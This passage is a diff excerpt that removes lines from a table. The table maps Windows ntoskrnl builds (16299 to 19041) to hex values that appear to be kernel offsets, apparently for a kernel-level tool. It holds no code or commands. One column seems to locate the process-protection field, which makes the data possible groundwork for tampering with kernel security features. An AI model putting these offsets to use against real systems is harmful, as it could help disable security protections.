-            "ntoskrnl_16299-1622.exe": ["3a0fc0", "3a0bc0", "3a0dc0", "6ca", "35e988", "20", "50"],
-            "ntoskrnl_16299-1747.exe": ["3a0cc0", "3a0ec0", "3a0ac0", "6ca", "35e8c0", "20", "50"],
-            "ntoskrnl_16299-1775.exe": ["3a0cc0", "3a0ec0", "3a0ac0", "6ca", "35e8c0", "20", "50"],
-            "ntoskrnl_16299-19.exe": ["398c80", "398e80", "398a80", "6ca", "3568e8", "20", "50"],
-            "ntoskrnl_16299-192.exe": ["39dd40", "39df40", "39db40", "6ca", "35b980", "20", "50"],
-            "ntoskrnl_16299-1992.exe": ["3a0cc0", "3a0ec0", "3a0ac0", "6ca", "35e8c0", "20", "50"],
-            "ntoskrnl_16299-2045.exe": ["3a1100", "3a0d00", "3a0f00", "6ca", "35e988", "20", "50"],
-            "ntoskrnl_16299-214.exe": ["39ddc0", "39dfc0", "39dbc0", "6ca", "35b980", "20", "50"],
-            "ntoskrnl_16299-2166.exe": ["3a1100", "3a0d00", "3a0f00", "6ca", "35e988", "20", "50"],
-            "ntoskrnl_16299-248.exe": ["39e100", "39dd00", "39df00", "6ca", "35bac8", "20", "50"],
-            "ntoskrnl_16299-251.exe": ["39e100", "39dd00", "39df00", "6ca", "35bac8", "20", "50"],
-            "ntoskrnl_16299-309.exe": ["39e0c0", "39dcc0", "39dec0", "6ca", "35bae8", "20", "50"],
-            "ntoskrnl_16299-334.exe": ["39e0c0", "39dcc0", "39dec0", "6ca", "35bac8", "20", "50"],
-            "ntoskrnl_16299-371.exe": ["39ce40", "39d040", "39cc40", "6ca", "35aa00", "20", "50"],
-            "ntoskrnl_16299-402.exe": ["39d0c0", "39ccc0", "39cec0", "6ca", "35aaa8", "20", "50"],
-            "ntoskrnl_16299-431.exe": ["39ce00", "39d000", "39cc00", "6ca", "35aa00", "20", "50"],
-            "ntoskrnl_16299-461.exe": ["39d080", "39cc80", "39ce80", "6ca", "35aa88", "20", "50"],
-            "ntoskrnl_16299-492.exe": ["39b080", "39ac80", "39ae80", "6ca", "358aa8", "20", "50"],
-            "ntoskrnl_16299-522.exe": ["3a2f00", "3a3100", "3a2d00", "6ca", "360ac0", "20", "50"],
-            "ntoskrnl_16299-547.exe": ["3a2f00", "3a3100", "3a2d00", "6ca", "360ac0", "20", "50"],
-            "ntoskrnl_16299-551.exe": ["3a2f00", "3a3100", "3a2d00", "6ca", "360ac0", "20", "50"],
-            "ntoskrnl_16299-579.exe": ["3a2f00", "3a3100", "3a2d00", "6ca", "360ac0", "20", "50"],
-            "ntoskrnl_16299-611.exe": ["39fe00", "3a0000", "39fc00", "6ca", "35d9e0", "20", "50"],
-            "ntoskrnl_16299-637.exe": ["39fe00", "3a0000", "39fc00", "6ca", "35d9e0", "20", "50"],
-            "ntoskrnl_16299-64.exe": ["398c40", "398e40", "398a40", "6ca", "3568e8", "20", "50"],
-            "ntoskrnl_16299-665.exe": ["39fe80", "3a0080", "39fc80", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-666.exe": ["39fe80", "3a0080", "39fc80", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-699.exe": ["39fdc0", "39ffc0", "39fbc0", "6ca", "35da00", "20", "50"],
-            "ntoskrnl_16299-726.exe": ["39fdc0", "39ffc0", "39fbc0", "6ca", "35da00", "20", "50"],
-            "ntoskrnl_16299-755.exe": ["3a0080", "39fc80", "39fe80", "6ca", "35da88", "20", "50"],
-            "ntoskrnl_16299-785.exe": ["39fec0", "3a00c0", "39fcc0", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-820.exe": ["39fec0", "3a00c0", "39fcc0", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-846.exe": ["39fec0", "3a00c0", "39fcc0", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-904.exe": ["39fec0", "3a00c0", "39fcc0", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-967.exe": ["39fec0", "3a00c0", "39fcc0", "6ca", "35dac0", "20", "50"],
-            "ntoskrnl_16299-98.exe": ["398ec0", "398ac0", "398cc0", "6ca", "356980", "20", "50"],
-            "ntoskrnl_17134-1.exe": ["3f4ef0", "3f50f0", "3f4cf0", "6ca", "3b2120", "20", "50"],
-            "ntoskrnl_17134-1006.exe": ["3e4ef0", "3e4af0", "3e4cf0", "6ca", "3a1fc8", "20", "50"],
-            "ntoskrnl_17134-1038.exe": ["3e4db0", "3e4fb0", "3e4bb0", "6ca", "3a1fe0", "20", "50"],
-            "ntoskrnl_17134-1067.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1fb0", "20", "50"],
-            "ntoskrnl_17134-1098.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1fb0", "20", "50"],
-            "ntoskrnl_17134-112.exe": ["3f1e30", "3f2030", "3f1c30", "6ca", "3af088", "20", "50"],
-            "ntoskrnl_17134-1130.exe": ["3e4fb0", "3e4bb0", "3e4db0", "6ca", "3a1fb0", "20", "50"],
-            "ntoskrnl_17134-1184.exe": ["3e4fb0", "3e4bb0", "3e4db0", "6ca", "3a1fb0", "20", "50"],
-            "ntoskrnl_17134-1246.exe": ["3e4fb0", "3e4bb0", "3e4db0", "6ca", "3a1fb0", "20", "50"],
-            "ntoskrnl_17134-1304.exe": ["3e4ef0", "3e4af0", "3e4cf0", "6ca", "3a1fe8", "20", "50"],
-            "ntoskrnl_17134-1345.exe": ["3e4db0", "3e4fb0", "3e4bb0", "6ca", "3a1fe0", "20", "50"],
-            "ntoskrnl_17134-1365.exe": ["3e4e30", "3e5030", "3e4c30", "6ca", "3a2000", "20", "50"],
-            "ntoskrnl_17134-137.exe": ["3f1e30", "3f2030", "3f1c30", "6ca", "3af088", "20", "50"],
-            "ntoskrnl_17134-1425.exe": ["3e4e30", "3e5030", "3e4c30", "6ca", "3a2000", "20", "50"],
-            "ntoskrnl_17134-1488.exe": ["3e4db0", "3e4fb0", "3e4bb0", "6ca", "3a1fe0", "20", "50"],
-            "ntoskrnl_17134-1550.exe": ["3e4db0", "3e4fb0", "3e4bb0", "6ca", "3a1fe0", "20", "50"],
-            "ntoskrnl_17134-1610.exe": ["3e4db0", "3e4fb0", "3e4bb0", "6ca", "3a1fe0", "20", "50"],
-            "ntoskrnl_17134-165.exe": ["3f1e30", "3f2030", "3f1c30", "6ca", "3af088", "20", "50"],
-            "ntoskrnl_17134-167.exe": ["3f1e30", "3f2030", "3f1c30", "6ca", "3af088", "20", "50"],
-            "ntoskrnl_17134-1726.exe": ["3e4ff0", "3e4bf0", "3e4df0", "6ca", "3a1f88", "20", "50"],
-            "ntoskrnl_17134-1792.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1fd0", "20", "50"],
-            "ntoskrnl_17134-1845.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1fd0", "20", "50"],
-            "ntoskrnl_17134-1902.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1fd0", "20", "50"],
-            "ntoskrnl_17134-191.exe": ["3f2e30", "3f3030", "3f2c30", "6ca", "3b0088", "20", "50"],
-            "ntoskrnl_17134-1967.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1fd0", "20", "50"],
-            "ntoskrnl_17134-2026.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1fd0", "20", "50"],
-            "ntoskrnl_17134-2087.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1fd0", "20", "50"],
-            "ntoskrnl_17134-2145.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1f88", "20", "50"],
-            "ntoskrnl_17134-2208.exe": ["3e4f70", "3e4b70", "3e4d70", "6ca", "3a1f88", "20", "50"],
-            "ntoskrnl_17134-228.exe": ["3e5ff0", "3e5bf0", "3e5df0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-254.exe": ["3e5ff0", "3e5bf0", "3e5df0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-285.exe": ["3e6030", "3e5c30", "3e5e30", "6ca", "3a3100", "20", "50"],
-            "ntoskrnl_17134-286.exe": ["3e6030", "3e5c30", "3e5e30", "6ca", "3a3100", "20", "50"],
-            "ntoskrnl_17134-320.exe": ["3e5eb0", "3e60b0", "3e5cb0", "6ca", "3a3120", "20", "50"],
-            "ntoskrnl_17134-345.exe": ["3e5eb0", "3e60b0", "3e5cb0", "6ca", "3a3160", "20", "50"],
-            "ntoskrnl_17134-376.exe": ["3e5fb0", "3e5bb0", "3e5db0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-407.exe": ["3e5f30", "3e5b30", "3e5d30", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-471.exe": ["3e5fb0", "3e5bb0", "3e5db0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-472.exe": ["3e5fb0", "3e5bb0", "3e5db0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-48.exe": ["3f5030", "3f4c30", "3f4e30", "6ca", "3b20e8", "20", "50"],
-            "ntoskrnl_17134-523.exe": ["3e5fb0", "3e5bb0", "3e5db0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-556.exe": ["3e5fb0", "3e5bb0", "3e5db0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-590.exe": ["3e5fb0", "3e5bb0", "3e5db0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-619.exe": ["3e5fb0", "3e5bb0", "3e5db0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-648.exe": ["3e5fb0", "3e5bb0", "3e5db0", "6ca", "3a3108", "20", "50"],
-            "ntoskrnl_17134-677.exe": ["3e4eb0", "3e50b0", "3e4cb0", "6ca", "3a2160", "20", "50"],
-            "ntoskrnl_17134-706.exe": ["3e4eb0", "3e50b0", "3e4cb0", "6ca", "3a2160", "20", "50"],
-            "ntoskrnl_17134-753.exe": ["3e4eb0", "3e50b0", "3e4cb0", "6ca", "3a2160", "20", "50"],
-            "ntoskrnl_17134-765.exe": ["3e4ef0", "3e4af0", "3e4cf0", "6ca", "3a1f48", "20", "50"],
-            "ntoskrnl_17134-766.exe": ["3e4ef0", "3e4af0", "3e4cf0", "6ca", "3a1f48", "20", "50"],
-            "ntoskrnl_17134-799.exe": ["3e4f30", "3e4b30", "3e4d30", "6ca", "3a1f68", "20", "50"],
-            "ntoskrnl_17134-81.exe": ["3f4f30", "3f5130", "3f4d30", "6ca", "3b2120", "20", "50"],
-            "ntoskrnl_17134-829.exe": ["3e4f30", "3e4b30", "3e4d30", "6ca", "3a1f68", "20", "50"],
-            "ntoskrnl_17134-83.exe": ["3f4f30", "3f5130", "3f4d30", "6ca", "3b2120", "20", "50"],
-            "ntoskrnl_17134-858.exe": ["3e4f30", "3e4b30", "3e4d30", "6ca", "3a1f68", "20", "50"],
-            "ntoskrnl_17134-885.exe": ["3e4f30", "3e4b30", "3e4d30", "6ca", "3a1f68", "20", "50"],
-            "ntoskrnl_17134-915.exe": ["3e4d70", "3e4f70", "3e4b70", "6ca", "3a1fa8", "20", "50"],
-            "ntoskrnl_17134-950.exe": ["3e4d70", "3e4f70", "3e4b70", "6ca", "3a1fa8", "20", "50"],
-            "ntoskrnl_17134-982.exe": ["3e4f30", "3e4b30", "3e4d30", "6ca", "3a1fd0", "20", "50"],
-            "ntoskrnl_17763-1.exe": ["45c4b0", "45c0b0", "45c2b0", "6ca", "40f038", "20", "50"],
-            "ntoskrnl_17763-1007.exe": ["4d8c30", "4d8830", "4d8a30", "6ca", "4096a0", "20", "50"],
-            "ntoskrnl_17763-1039.exe": ["4d8b30", "4d8d30", "4d8930", "6ca", "409698", "20", "50"],
-            "ntoskrnl_17763-107.exe": ["45c430", "45c030", "45c230", "6ca", "40f018", "20", "50"],
-            "ntoskrnl_17763-1098.exe": ["4d9d30", "4d9930", "4d9b30", "6ca", "40a670", "20", "60"],
-            "ntoskrnl_17763-1131.exe": ["4d9af0", "4d9cf0", "4d98f0", "6ca", "40a678", "20", "60"],
-            "ntoskrnl_17763-1158.exe": ["4d9af0", "4d9cf0", "4d98f0", "6ca", "40a678", "20", "60"],
-            "ntoskrnl_17763-1192.exe": ["4d9d30", "4d9930", "4d9b30", "6ca", "40a670", "20", "60"],
-            "ntoskrnl_17763-1217.exe": ["4d9d30", "4d9930", "4d9b30", "6ca", "40a670", "20", "60"],
-            "ntoskrnl_17763-1282.exe": ["4d9d70", "4d9970", "4d9b70", "6ca", "40a6b0", "20", "60"],
-            "ntoskrnl_17763-1294.exe": ["4d9d70", "4d9970", "4d9b70", "6ca", "40a6b0", "20", "60"],
-            "ntoskrnl_17763-1339.exe": ["4d9d70", "4d9970", "4d9b70", "6ca", "40a6b0", "20", "60"],
-            "ntoskrnl_17763-134.exe": ["45c430", "45c030", "45c230", "6ca", "40efd8", "20", "50"],
-            "ntoskrnl_17763-1369.exe": ["4d9d70", "4d9970", "4d9b70", "6ca", "40a6b0", "20", "60"],
-            "ntoskrnl_17763-1397.exe": ["4d9bf0", "4d97f0", "4d99f0", "6ca", "40a6c0", "20", "60"],
-            "ntoskrnl_17763-1432.exe": ["4d7b30", "4d7d30", "4d7930", "6ca", "408698", "20", "60"],
-            "ntoskrnl_17763-1457.exe": ["4d7b30", "4d7d30", "4d7930", "6ca", "408698", "20", "60"],
-            "ntoskrnl_17763-1490.exe": ["4d5b70", "4d5d70", "4d5970", "6ca", "4066d8", "20", "60"],
-            "ntoskrnl_17763-1518.exe": ["4d5b30", "4d5d30", "4d5930", "6ca", "406698", "20", "60"],
-            "ntoskrnl_17763-1554.exe": ["4d5cf0", "4d58f0", "4d5af0", "6ca", "406630", "20", "60"],
-            "ntoskrnl_17763-1577.exe": ["4d5cf0", "4d58f0", "4d5af0", "6ca", "406630", "20", "60"],
-            "ntoskrnl_17763-1613.exe": ["4d5cf0", "4d58f0", "4d5af0", "6ca", "406630", "20", "60"],
-            "ntoskrnl_17763-1637.exe": ["4d5cf0", "4d58f0", "4d5af0", "6ca", "406630", "20", "60"],
-            "ntoskrnl_17763-168.exe": ["4dad70", "4da970", "4dab70", "6ca", "40b078", "20", "50"],
-            "ntoskrnl_17763-1697.exe": ["4d5cf0", "4d58f0", "4d5af0", "6ca", "406630", "20", "60"],
-            "ntoskrnl_17763-1728.exe": ["4d5cf0", "4d58f0", "4d5af0", "6ca", "406630", "20", "60"],
-            "ntoskrnl_17763-1757.exe": ["4d5b70", "4d5d70", "4d5970", "6ca", "4066d8", "20", "60"],
-            "ntoskrnl_17763-1790.exe": ["4d5b70", "4d5d70", "4d5970", "6ca", "4066d8", "20", "60"],
-            "ntoskrnl_17763-1817.exe": ["4d5b70", "4d5d70", "4d5970", "6ca", "4066d8", "20", "60"],
-            "ntoskrnl_17763-1821.exe": ["4d5b70", "4d5d70", "4d5970", "6ca", "4066d8", "20", "60"],
-            "ntoskrnl_17763-1823.exe": ["4d5b70", "4d5d70", "4d5970", "6ca", "4066d8", "20", "60"],
-            "ntoskrnl_17763-1852.exe": ["4d5bf0", "4d57f0", "4d59f0", "6ca", "4066c0", "20", "60"],
-            "ntoskrnl_17763-1879.exe": ["4d5bf0", "4d57f0", "4d59f0", "6ca", "4066c0", "20", "60"],
-            "ntoskrnl_17763-1911.exe": ["4d6870", "4d6a70", "4d6670", "6ca", "407498", "20", "60"],
-            "ntoskrnl_17763-1935.exe": ["4d6870", "4d6a70", "4d6670", "6ca", "407498", "20", "60"],
-            "ntoskrnl_17763-194.exe": ["4d9d70", "4d9970", "4d9b70", "6ca", "40a038", "20", "50"],
-            "ntoskrnl_17763-195.exe": ["4d9d70", "4d9970", "4d9b70", "6ca", "40a038", "20", "50"],
-            "ntoskrnl_17763-1971.exe": ["4d6bb0", "4d67b0", "4d69b0", "6ca", "407498", "20", "60"],
-            "ntoskrnl_17763-1999.exe": ["4d6bb0", "4d67b0", "4d69b0", "6ca", "407498", "20", "60"],
-            "ntoskrnl_17763-2028.exe": ["4d67b0", "4d69b0", "4d65b0", "6ca", "407418", "20", "60"],
-            "ntoskrnl_17763-2029.exe": ["4d67b0", "4d69b0", "4d65b0", "6ca", "407418", "20", "60"],
-            "ntoskrnl_17763-2061.exe": ["4d58f0", "4d5af0", "4d56f0", "6ca", "406430", "20", "60"],
-            "ntoskrnl_17763-2090.exe": ["4d5930", "4d5b30", "4d5730", "6ca", "406470", "20", "60"],
-            "ntoskrnl_17763-2114.exe": ["4d5930", "4d5b30", "4d5730", "6ca", "406470", "20", "60"],
-            "ntoskrnl_17763-2145.exe": ["4d68b0", "4d6ab0", "4d66b0", "6ca", "407480", "20", "60"],
-            "ntoskrnl_17763-2183.exe": ["4d68b0", "4d6ab0", "4d66b0", "6ca", "407480", "20", "60"],
-            "ntoskrnl_17763-253.exe": ["4d9d70", "4d9970", "4d9b70", "6ca", "40a038", "20", "50"],
-            "ntoskrnl_17763-292.exe": ["4daaf0", "4dacf0", "4da8f0", "6ca", "40b078", "20", "50"],
-            "ntoskrnl_17763-316.exe": ["4daaf0", "4dacf0", "4da8f0", "6ca", "40b078", "20", "50"],
-            "ntoskrnl_17763-348.exe": ["4dabb0", "4da7b0", "4da9b0", "6ca", "40afb8", "20", "50"],
-            "ntoskrnl_17763-379.exe": ["4dabf0", "4da7f0", "4da9f0", "6ca", "40aff8", "20", "50"],
-            "ntoskrnl_17763-404.exe": ["4dad70", "4da970", "4dab70", "6ca", "40b718", "20", "50"],
-            "ntoskrnl_17763-437.exe": ["4dad70", "4da970", "4dab70", "6ca", "40b718", "20", "50"],
-            "ntoskrnl_17763-439.exe": ["4dad70", "4da970", "4dab70", "6ca", "40b718", "20", "50"],
-            "ntoskrnl_17763-475.exe": ["4daaf0", "4dacf0", "4da8f0", "6ca", "40b730", "20", "50"],
-            "ntoskrnl_17763-503.exe": ["4da9b0", "4dabb0", "4da7b0", "6ca", "40b598", "20", "50"],
-            "ntoskrnl_17763-504.exe": ["4da9b0", "4dabb0", "4da7b0", "6ca", "40b598", "20", "50"],
-            "ntoskrnl_17763-529.exe": ["4da9b0", "4dabb0", "4da7b0", "6ca", "40b598", "20", "50"],
-            "ntoskrnl_17763-55.exe": ["45c4f0", "45c0f0", "45c2f0", "6ca", "40f098", "20", "50"],
-            "ntoskrnl_17763-557.exe": ["4da9b0", "4dabb0", "4da7b0", "6ca", "40b598", "20", "50"],
-            "ntoskrnl_17763-593.exe": ["4dac70", "4da870", "4daa70", "6ca", "40b610", "20", "50"],
-            "ntoskrnl_17763-615.exe": ["4dac70", "4da870", "4daa70", "6ca", "40b610", "20", "50"],
-            "ntoskrnl_17763-652.exe": ["4dabf0", "4da7f0", "4da9f0", "6ca", "40b5f0", "20", "50"],
-            "ntoskrnl_17763-678.exe": ["4dac30", "4da830", "4daa30", "6ca", "40b610", "20", "50"],
-            "ntoskrnl_17763-719.exe": ["4daa30", "4dac30", "4da830", "6ca", "40b658", "20", "50"],
-            "ntoskrnl_17763-737.exe": ["4da9f0", "4dabf0", "4da7f0", "6ca", "40b5d8", "20", "50"],
-            "ntoskrnl_17763-771.exe": ["4dac70", "4da870", "4daa70", "6ca", "40b630", "20", "50"],
-            "ntoskrnl_17763-802.exe": ["4dacb0", "4da8b0", "4daab0", "6ca", "40b6c0", "20", "50"],
-            "ntoskrnl_17763-831.exe": ["4d8c70", "4d8870", "4d8a70", "6ca", "409610", "20", "50"],
-            "ntoskrnl_17763-864.exe": ["4d8b70", "4d8d70", "4d8970", "6ca", "409698", "20", "50"],
-            "ntoskrnl_17763-914.exe": ["4d8b70", "4d8d70", "4d8970", "6ca", "409698", "20", "50"],
-            "ntoskrnl_17763-973.exe": ["4d8b70", "4d8d70", "4d8970", "6ca", "409698", "20", "50"],
-            "ntoskrnl_18362-1016.exe": ["505fa0", "505ba0", "505da0", "6fa", "434bf8", "20", "60"],
-            "ntoskrnl_18362-1049.exe": ["503fe0", "503be0", "503de0", "6fa", "432c38", "20", "60"],
-            "ntoskrnl_18362-1082.exe": ["503fa0", "503ba0", "503da0", "6fa", "432bf8", "20", "60"],
-            "ntoskrnl_18362-1110.exe": ["503fa0", "503ba0", "503da0", "6fa", "432c18", "20", "60"],
-            "ntoskrnl_18362-1139.exe": ["5040a0", "503ca0", "503ea0", "6fa", "432c98", "20", "60"],
-            "ntoskrnl_18362-116.exe": ["500de0", "5009e0", "500be0", "6fa", "42fa48", "20", "50"],
-            "ntoskrnl_18362-1171.exe": ["5040a0", "503ca0", "503ea0", "6fa", "432c90", "20", "60"],
-            "ntoskrnl_18362-1198.exe": ["5040a0", "503ca0", "503ea0", "6fa", "432c90", "20", "60"],
-            "ntoskrnl_18362-1237.exe": ["5040a0", "503ca0", "503ea0", "6fa", "432c90", "20", "60"],
-            "ntoskrnl_18362-1256.exe": ["5040a0", "503ca0", "503ea0", "6fa", "432c90", "20", "60"],
-            "ntoskrnl_18362-1316.exe": ["5040a0", "503ca0", "503ea0", "6fa", "432c90", "20", "60"],
-            "ntoskrnl_18362-1350.exe": ["503b60", "503d60", "503960", "6fa", "432bf8", "20", "60"],
-            "ntoskrnl_18362-1377.exe": ["503da0", "5039a0", "503ba0", "6fa", "432c38", "20", "60"],
-            "ntoskrnl_18362-1379.exe": ["503da0", "5039a0", "503ba0", "6fa", "432c38", "20", "60"],
-            "ntoskrnl_18362-1411.exe": ["503de0", "5039e0", "503be0", "6fa", "432c38", "20", "60"],
-            "ntoskrnl_18362-1440.exe": ["503da0", "5039a0", "503ba0", "6fa", "432c38", "20", "60"],
-            "ntoskrnl_18362-1441.exe": ["503da0", "5039a0", "503ba0", "6fa", "432c38", "20", "60"],
-            "ntoskrnl_18362-145.exe": ["500de0", "5009e0", "500be0", "6fa", "42f9e8", "20", "50"],
-            "ntoskrnl_18362-1474.exe": ["503ba0", "503da0", "5039a0", "6fa", "432c38", "20", "60"],
-            "ntoskrnl_18362-1500.exe": ["503b60", "503d60", "503960", "6fa", "432c18", "20", "60"],
-            "ntoskrnl_18362-1533.exe": ["503e20", "503a20", "503c20", "6fa", "432c78", "20", "60"],
-            "ntoskrnl_18362-1556.exe": ["503e20", "503a20", "503c20", "6fa", "432c78", "20", "60"],
-            "ntoskrnl_18362-1621.exe": ["503e20", "503a20", "503c20", "6fa", "432c78", "20", "60"],
-            "ntoskrnl_18362-1679.exe": ["502da0", "5029a0", "502ba0", "6fa", "431bf8", "20", "60"],
-            "ntoskrnl_18362-1734.exe": ["503de0", "5039e0", "503be0", "6fa", "432c38", "20", "60"],
-            "ntoskrnl_18362-1801.exe": ["503ce0", "503ee0", "503ae0", "6fa", "432c38", "20", "60"],
-            "ntoskrnl_18362-207.exe": ["500de0", "5009e0", "500be0", "6fa", "42fa48", "20", "50"],
-            "ntoskrnl_18362-239.exe": ["500de0", "5009e0", "500be0", "6fa", "42fa48", "20", "50"],
-            "ntoskrnl_18362-267.exe": ["503f60", "503b60", "503d60", "6fa", "432c60", "20", "50"],
-            "ntoskrnl_18362-295.exe": ["503fa0", "503ba0", "503da0", "6fa", "432c48", "20", "50"],
-            "ntoskrnl_18362-30.exe": ["500d60", "500960", "500b60", "6fa", "42fa40", "20", "50"],
-            "ntoskrnl_18362-329.exe": ["504ee0", "5050e0", "504ce0", "6fa", "433c28", "20", "50"],
-            "ntoskrnl_18362-356.exe": ["505060", "504c60", "504e60", "6fa", "433c90", "20", "50"],
-            "ntoskrnl_18362-357.exe": ["505060", "504c60", "504e60", "6fa", "433c90", "20", "50"],
-            "ntoskrnl_18362-387.exe": ["505fe0", "505be0", "505de0", "6fa", "434c38", "20", "50"],
-            "ntoskrnl_18362-388.exe": ["505fe0", "505be0", "505de0", "6fa", "434c38", "20", "50"],
-            "ntoskrnl_18362-418.exe": ["505ee0", "5060e0", "505ce0", "6fa", "434c58", "20", "50"],
-            "ntoskrnl_18362-449.exe": ["505da0", "505fa0", "505ba0", "6fa", "434c58", "20", "50"],
-            "ntoskrnl_18362-476.exe": ["506060", "505c60", "505e60", "6fa", "434c78", "20", "50"],
-            "ntoskrnl_18362-535.exe": ["506020", "505c20", "505e20", "6fa", "434c78", "20", "50"],
-            "ntoskrnl_18362-592.exe": ["506060", "505c60", "505e60", "6fa", "434c80", "20", "50"],
-            "ntoskrnl_18362-628.exe": ["506060", "505c60", "505e60", "6fa", "434c78", "20", "50"],
-            "ntoskrnl_18362-657.exe": ["505e60", "506060", "505c60", "6fa", "434c78", "20", "50"],
-            "ntoskrnl_18362-693.exe": ["505de0", "505fe0", "505be0", "6fa", "434c38", "20", "60"],
-            "ntoskrnl_18362-719.exe": ["505e20", "506020", "505c20", "6fa", "434c78", "20", "60"],
-            "ntoskrnl_18362-720.exe": ["505e20", "506020", "505c20", "6fa", "434c78", "20", "60"],
-            "ntoskrnl_18362-752.exe": ["505ea0", "5060a0", "505ca0", "6fa", "434c58", "20", "60"],
-            "ntoskrnl_18362-753.exe": ["505ea0", "5060a0", "505ca0", "6fa", "434c58", "20", "60"],
-            "ntoskrnl_18362-778.exe": ["505e60", "506060", "505c60", "6fa", "434c70", "20", "60"],
-            "ntoskrnl_18362-815.exe": ["505e60", "506060", "505c60", "6fa", "434c70", "20", "60"],
-            "ntoskrnl_18362-836.exe": ["505ea0", "5060a0", "505ca0", "6fa", "434c58", "20", "60"],
-            "ntoskrnl_18362-900.exe": ["505ea0", "5060a0", "505ca0", "6fa", "434c78", "20", "60"],
-            "ntoskrnl_18362-904.exe": ["505ea0", "5060a0", "505ca0", "6fa", "434c78", "20", "60"],
-            "ntoskrnl_18362-959.exe": ["505ea0", "5060a0", "505ca0", "6fa", "434cb8", "20", "60"],
-            "ntoskrnl_18362-997.exe": ["505e60", "506060", "505c60", "6fa", "434c78", "20", "60"],
-            "ntoskrnl_19041-1023.exe": ["cec460", "cec260", "cec060", "87a", "c19db8", "20", "60"],
-            "ntoskrnl_19041-1052.exe": ["cebfe0", "cec3e0", "cec1e0", "87a", "c19790", "20", "60"],
-            "ntoskrnl_19041-1055.exe": ["cec020", "cec420", "cec220", "87a", "c19790", "20", "60"],
-            "ntoskrnl_19041-1081.exe": ["cec1e0", "cebfe0", "cec3e0", "87a", "c19758", "20", "60"],
-            "ntoskrnl_19041-1082.exe": ["cec420", "cec220", "cec020", "87a", "c19758", "20", "60"],
-            "ntoskrnl_19041-1083.exe": ["cec420", "cec220", "cec020", "87a", "c19758", "20", "60"],
-            "ntoskrnl_19041-1110.exe": ["cec120", "cebf20", "cec320", "87a", "c197f8", "20", "60"],
-            "ntoskrnl_19041-1151.exe": ["cec320", "cec120", "cebf20", "87a", "c197c0", "20", "60"],
-            "ntoskrnl_19041-1165.exe": ["cec2e0", "cec0e0", "cebee0", "87a", "c197a0", "20", "60"],
-            "ntoskrnl_19041-1202.exe": ["cec320", "cec120", "cebf20", "87a", "c197d0", "20", "60"],
-            "ntoskrnl_19041-1237.exe": ["cec320", "cec120", "cebf20", "87a", "c197d0", "20", "60"],
-            "ntoskrnl_19041-1266.exe": ["cec3a0", "cec1a0", "cebfa0", "87a", "c19770", "20", "60"],
-            "ntoskrnl_19041-1288.exe": ["cec1a0", "cebfa0", "cec3a0", "87a", "c19790", "20", "60"],
-            "ntoskrnl_19041-264.exe": ["cec060", "cec260", "cebe60", "87a", "c19858", "20", "60"],
-            "ntoskrnl_19041-329.exe": ["cec320", "cebf20", "cec120", "87a", "c19898", "20", "60"],
-            "ntoskrnl_19041-331.exe": ["cec320", "cebf20", "cec120", "87a", "c19898", "20", "60"],
-            "ntoskrnl_19041-388.exe": ["cec3a0", "cebfa0", "cec1a0", "87a", "c19898", "20", "60"],
-            "ntoskrnl_19041-423.exe": ["cec160", "cec360", "cebf60", "87a", "c198b8", "20", "60"],
-            "ntoskrnl_19041-450.exe": ["cec320", "cebf20", "cec120", "87a", "c198b8", "20", "60"],
-            "ntoskrnl_19041-488.exe": ["cec220", "cec420", "cec020", "87a", "c19918", "20", "60"],
-            "ntoskrnl_19041-508.exe": ["cec3a0", "cebfa0", "cec1a0", "87a", "c19898", "20", "60"],
-            "ntoskrnl_19041-546.exe": ["cec420", "cec020", "cec220", "87a", "c19938", "20", "60"],
-            "ntoskrnl_19041-572.exe": ["cec420", "cec020", "cec220", "87a", "c19938", "20", "60"],
-            "ntoskrnl_19041-610.exe": ["cec220", "cec420", "cec020", "87a", "c19978", "20", "60"],
-            "ntoskrnl_19041-630.exe": ["cec220", "cec420", "cec020", "87a", "c19978", "20", "60"],
-            "ntoskrnl_19041-631.exe": ["cec220", "cec420", "cec020", "87a", "c19978", "20", "60"],
-            "ntoskrnl_19041-662.exe": ["cec3a0", "cec1a0", "cebfa0", "87a", "c198f8", "20", "60"],
-            "ntoskrnl_19041-685.exe": ["cec3a0", "cec1a0", "cebfa0", "87a", "c198f8", "20", "60"],
-            "ntoskrnl_19041-746.exe": ["cebfe0", "cec3e0", "cec1e0", "87a", "c198f8", "20", "60"],
-            "ntoskrnl_19041-789.exe": ["cec220", "cec620", "cec420", "87a", "c19998", "20", "60"],
-            "ntoskrnl_19041-804.exe": ["cec420", "cec220", "cec020", "87a", "c19918", "20", "60"],
-            "ntoskrnl_19041-844.exe": ["cec660", "cec460", "cec260", "87a", "c19fa8", "20", "60"],
-            "ntoskrnl_19041-867.exe": ["cec1e0", "cec5e0", "cec3e0", "87a", "c19fa8", "20", "60"],
-            "ntoskrnl_19041-868.exe": ["cec1e0", "cec5e0", "cec3e0", "87a", "c19fa8", "20", "60"],
-            "ntoskrnl_19041-870.exe": ["cec1e0", "cec5e0", "cec3e0", "87a", "c19fa8", "20", "60"],
-            "ntoskrnl_19041-906.exe": ["cec5e0", "cec3e0", "cec1e0", "87a", "c199d0", "20", "60"],
